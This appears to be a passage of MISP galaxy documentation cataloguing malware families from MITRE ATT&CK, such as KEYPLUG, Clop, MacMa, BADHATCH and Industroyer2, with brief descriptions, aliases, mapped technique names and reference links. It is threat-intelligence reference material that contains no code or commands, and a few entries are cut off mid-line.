- uses: *misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"* with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6773. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0511">https://attack.mitre.org/software/S0511</a></td>
</tr>
</tbody>
</table>

KEYPLUG - S1051

[KEYPLUG](https://attack.mitre.org/software/S1051) is a modular backdoor written in C++, with Windows and Linux variants, that has been used by [APT41](https://attack.mitre.org/groups/G0096) since at least June 2021. (Citation: Mandiant APT41)

The tag is: *misp-galaxy:mitre-malware="KEYPLUG - S1051"*

KEYPLUG - S1051 is also known as:

- KEYPLUG
- KEYPLUG.LINUX

View relationships graph

KEYPLUG - S1051 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-
Table 6774. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1051">https://attack.mitre.org/software/S1051</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/apt41-us-state-governments">https://www.mandiant.com/resources/apt41-us-state-governments</a></td>
</tr>
</tbody>
</table>

**Milan - S1015**

[Milan](https://attack.mitre.org/software/S1015) is a backdoor implant based on [DanBot](https://attack.mitre.org/software/S1014) that was written in Visual C++ and .NET. [Milan](https://attack.mitre.org/software/S1015) has been used by [HEXANE](https://attack.mitre.org/groups/G1001) since at least June 2020.(Citation: ClearSky Siamesekitten August 2021)(Citation: Kaspersky Lyceum October 2021)

The tag is: *misp-galaxy:mitre-malware*"Milan - S1015"

Milan - S1015 is also known as:

- Milan
- James

View relationships graph

Milan - S1015 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern*"Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"


- uses: *misp-galaxy:mitre-attack-pattern*"Double File Extension - T1036.007" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern*"DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern*"Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern*"Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern*"Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"
AbstractEmu - S1061

[AbstractEmu](https://attack.mitre.org/software/S1061) is mobile malware that was first seen in Google Play and other third-party stores in October 2021. It was discovered in 19 Android applications, of which at least 7 abused known Android exploits for obtaining root permissions. [AbstractEmu](https://attack.mitre.org/software/S1061) was observed primarily impacting users in the United States, however victims are believed to be across a total of 17 countries.(Citation: lookout_abstractemu_1021)
The tag is: misp-galaxy:mitre-malware="AbstractEmu - S1061"

AbstractEmu - S1061 is also known as:

- AbstractEmu

View relationships graph

AbstractEmu - S1061 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1629.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1544" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1404" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1623.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1633.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Device Administrator Permissions - T1626.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with
estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1512" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

Table 6776. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1061">https://attack.mitre.org/software/S1061</a></td>
</tr>
<tr>
<td><a href="https://www.lookout.com/blog/lookout-discovers-global-rooting-malware-campaign">https://www.lookout.com/blog/lookout-discovers-global-rooting-malware-campaign</a></td>
</tr>
</tbody>
</table>

**XAgentOSX - S0161**

[XAgentOSX](https://attack.mitre.org/software/S0161) is a trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) on OS X and appears to be a port of their standard [CHOPSTICK](https://attack.mitre.org/software/S0023) or XAgent trojan. (Citation: XAgentOSX 2017)

The tag is: *misp-galaxy:mitre-malware="XAgentOSX - S0161"*

XAgentOSX - S0161 is also known as:

• XAgentOSX

• OSX.Sofacy

View relationships graph

XAgentOSX - S0161 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 6777. Table References

Links

https://attack.mitre.org/software/S0161

Clop - S0611

[Clop](https://attack.mitre.org/software/S0611) is a ransomware family that was first observed in February 2019 and has been used against retail, transportation and logistics, education, manufacturing, engineering, automotive, energy, financial, aerospace, telecommunications, professional and legal services, healthcare, and high tech industries. [Clop](https://attack.mitre.org/software/S0611) is a variant of the CryptoMix ransomware. (Citation: Mcafee Clop Aug 2019) (Citation: Cybereason Clop Dec 2020) (Citation: Unit42 Clop April 2021)

The tag is: misp-galaxy:mitre-malware="Clop - S0611"

Clop - S0611 is also known as:

- Clop

View relationships graph

Clop - S0611 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 6778. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0611">https://attack.mitre.org/software/S0611</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/clop-ransomware/">https://unit42.paloaltonetworks.com/clop-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/cybereason-vs.-clop-ransomware">https://www.cybereason.com/blog/cybereason-vs.-clop-ransomware</a></td>
</tr>
<tr>
<td><a href="https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/">https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/</a></td>
</tr>
</tbody>
</table>

**MacMa - S1016**

[MacMa](https://attack.mitre.org/software/S1016) is a macOS-based backdoor with a large set of functionalities to control and exfiltrate files from a compromised computer. [MacMa](https://attack.mitre.org/software/S1016) has been observed in the wild since November 2021. (Citation: ESET DazzleSpy Jan 2022)
The tag is: `misp-galaxy:mitre-malware="MacMa - S1016"`

MacMa - S1016 is also known as:

- MacMa
- OSX.CDDS
- DazzleSpy

**View relationships graph**

MacMa - S1016 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Keychain - T1555.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Clear Linux or Mac System Logs - T1070.002"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1553.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6779. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1016">https://attack.mitre.org/software/S1016</a></td>
</tr>
<tr>
<td><a href="https://objective-see.org/blog/blog_0x69.html">https://objective-see.org/blog/blog_0x69.html</a></td>
</tr>
</tbody>
</table>

**Felismus - S0171**

[Felismus](https://attack.mitre.org/software/S0171) is a modular backdoor that has been used by [Sowbug](https://attack.mitre.org/groups/G0054). (Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)

The tag is: misp-galaxy:mitre-malware="Felismus - S0171"

Felismus - S0171 is also known as:

- Felismus

View relationships graph

Felismus - S0171 has relationships with:


- similar: misp-galaxy:malpedia="Felismus" with estimative-language:likelihood-probability="likely"

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

### Table 6780. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0171">https://attack.mitre.org/software/S0171</a></td>
</tr>
</tbody>
</table>

### OutSteel - S1017

[OutSteel](https://attack.mitre.org/software/S1017) is a file uploader and document stealer developed with the scripting language AutoIT that has been used by [Ember Bear](https://attack.mitre.org/groups/G1003) since at least March 2021.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )

The tag is: *misp-galaxy:mitre-malware="OutSteel - S1017"*

View relationships graph

OutSteel - S1017 has relationships with:
Table 6781. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1017">https://attack.mitre.org/software/S1017</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/">https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/</a></td>
</tr>
</tbody>
</table>

**XTunnel - S0117**

[XTunnel](https://attack.mitre.org/software/S0117) a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by [APT28](https://attack.mitre.org/groups/G0007) during the compromise of the Democratic National Committee. (Citation: Crowdstrike DNC June 2016) (Citation: Invincea XTunnel) (Citation: ESET Sednit Part 2)
The tag is: `misp-galaxy:mitre-malware="XTunnel - S0117"`

XTunnel - S0117 is also known as:

- XTunnel
- Trojan.Shunnael
- X-Tunnel
- XAPS

**View relationships graph**

XTunnel - S0117 has relationships with:

- similar: `misp-galaxy:malpedia="XTunnel"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:tool="X-Tunnel"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008"` with estimative-language:likelihood-probability="almost-certain"

**Table 6782. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0117">https://attack.mitre.org/software/S0117</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/">https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/</a></td>
</tr>
</tbody>
</table>
BADHATCH - S1081

[BADHATCH](https://attack.mitre.org/software/S1081) is a backdoor that has been utilized by [FIN8](https://attack.mitre.org/groups/G0061) since at least 2019. [BADHATCH](https://attack.mitre.org/software/S1081) has been used to target the insurance, retail, technology, and chemical industries in the United States, Canada, South Africa, Panama, and Italy.(Citation: Gigamon BADHATCH Jul 2019)(Citation: BitDefender BADHATCH Mar 2021)

The tag is: *misp-galaxy:mitre-malware="BADHATCH - S1081"*

BADHATCH - S1081 is also known as:

- BADHATCH

View relationships graph

BADHATCH - S1081 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Embedded Payloads - T1027.009" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asynchronous Procedure Call - T1055.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
Table 6783. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1081">https://attack.mitre.org/software/S1081</a></td>
</tr>
</tbody>
</table>

**FALLCHILL - S0181**

[FALLCHILL](https://attack.mitre.org/software/S0181) is a RAT that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other [Lazarus Group](https://attack.mitre.org/groups/G0032) malware or delivered when a victim unknowingly visits a compromised website. (Citation: US-CERT FALLCHILL Nov 2017)

The tag is: *misp-galaxy:mitre-malware="FALLCHILL - S0181"*

FALLCHILL - S0181 is also known as:

- FALLCHILL

View relationships graph

FALLCHILL - S0181 has relationships with:

- similar: misp-galaxy:tool="Volgmer" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• similar: misp-galaxy:malpedia="Volgmer" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:rat="FALLCHILL" with estimative-language:likelihood-probability="likely"

Table 6784. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0181">https://attack.mitre.org/software/S0181</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA17-318A">https://www.us-cert.gov/ncas/alerts/TA17-318A</a></td>
</tr>
</tbody>
</table>

**Nidiran - S0118**

[Nidiran](https://attack.mitre.org/software/S0118) is a custom backdoor developed and used by [Suckfly](https://attack.mitre.org/groups/G0039). It has been delivered via strategic web compromise. (Citation: Symantec Suckfly March 2016)

The tag is: misp-galaxy:mitre-malware="Nidiran - S0118"

Nidiran - S0118 is also known as:

- Nidiran
- Backdoor.Nidiran

View relationships graph

Nidiran - S0118 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6785. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates">http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0118">https://attack.mitre.org/software/S0118</a></td>
</tr>
</tbody>
</table>
Shark - S1019

[Shark](https://attack.mitre.org/software/S1019) is a backdoor malware written in C# and .NET that is an updated version of [Milan](https://attack.mitre.org/software/S1015); it has been used by [HEXANE](https://attack.mitre.org/groups/G1001) since at least July 2021. (Citation: ClearSky Siamesekitten August 2021) (Citation: Accenture Lyceum Targets November 2021)

The tag is: `misp-galaxy:mitre-malware="Shark - S1019"

Shark - S1019 is also known as:

- Shark

View relationships graph

Shark - S1019 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-
Concipit1248 - S0426

[Concipit1248](https://attack.mitre.org/software/S0426) is iOS spyware that was discovered using the same name as the developer of the Android spyware [Corona Updates](https://attack.mitre.org/software/S0425). Further investigation revealed that the two pieces of software contained the same C2 URL and similar functionality. (Citation: TrendMicro Coronavirus Updates)

The tag is: `misp-galaxy:mitre-malware="Concipit1248 - S0426"`

Concipit1248 - S0426 is also known as:

- Concipit1248
- Corona Updates

View relationships graph

Concipit1248 - S0426 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Web Protocols - T1437.001"` with estimative-
  language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Video Capture - T1512"` with estimative-
  language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1533"` with estimative-
  language:likelihood-probability="almost-certain"
Industroyer2 - S1072

[Industroyer2](https://attack.mitre.org/software/S1072) is a compiled and static piece of malware that has the ability to communicate over the IEC-104 protocol. It is similar to the IEC-104 module found in [Industroyer](https://attack.mitre.org/software/S0604). Security researchers assess that [Industroyer2](https://attack.mitre.org/software/S1072) was designed to cause impact to high-voltage electrical substations. The initial [Industroyer2](https://attack.mitre.org/software/S1072) sample was compiled on 03/23/2022 and scheduled to execute on 04/08/2022, however it was discovered before deploying, resulting in no impact.(Citation: Industroyer2 Blackhat ESET)

The tag is: *misp-galaxy:mitre-malware="Industroyer2 - S1072"*

Industroyer2 - S1072 is also known as:

- Industroyer2

View relationships graph

Industroyer2 - S1072 has relationships with:


**Table 6788. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1072">https://attack.mitre.org/software/S1072</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=xC9iM5wVedQ">https://www.youtube.com/watch?v=xC9iM5wVedQ</a></td>
</tr>
</tbody>
</table>

CORALDECK - S0212

[CORALDECK](https://attack.mitre.org/software/S0212) is an exfiltration tool used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)

The tag is: *misp-galaxy:mitre-malware="CORALDECK - S0212"*

CORALDECK - S0212 is also known as:

- CORALDECK

View relationships graph

CORALDECK - S0212 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"* with estimative-language:likelihood-probability="almost-certain"
- similar: *misp-galaxy:tool="CORALDECK"* with estimative-language:likelihood-
probability="likely"


Table 6789. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0212">https://attack.mitre.org/software/S0212</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf">https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf</a></td>
</tr>
</tbody>
</table>

**IceApple - S1022**

[IceApple](https://attack.mitre.org/software/S1022) is a modular Internet Information Services (IIS) post-exploitation framework, that has been used since at least 2021 against the technology, academic, and government sectors. (Citation: CrowdStrike IceApple May 2022)

The tag is: *misp-galaxy:mitre-malware="IceApple - S1022"*

IceApple - S1022 is also known as:

- IceApple

View relationships graph

IceApple - S1022 has relationships with:


- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="IIS Components - T1505.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 6790. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1022">https://attack.mitre.org/software/S1022</a></td>
</tr>
</tbody>
</table>

Umbreon - S0221

A Linux rootkit that provides backdoor access and hides from defenders.

The tag is: misp-galaxy:mitre-malware="Umbreon - S0221"

Umbreon - S0221 is also known as:

- Umbreon

View relationships graph

Umbreon - S0221 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Umbreon" with estimative-language:likelihood-probability="likely"
Table 6791. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0221">https://attack.mitre.org/software/S0221</a></td>
</tr>
</tbody>
</table>

**ccf32 - S1043**

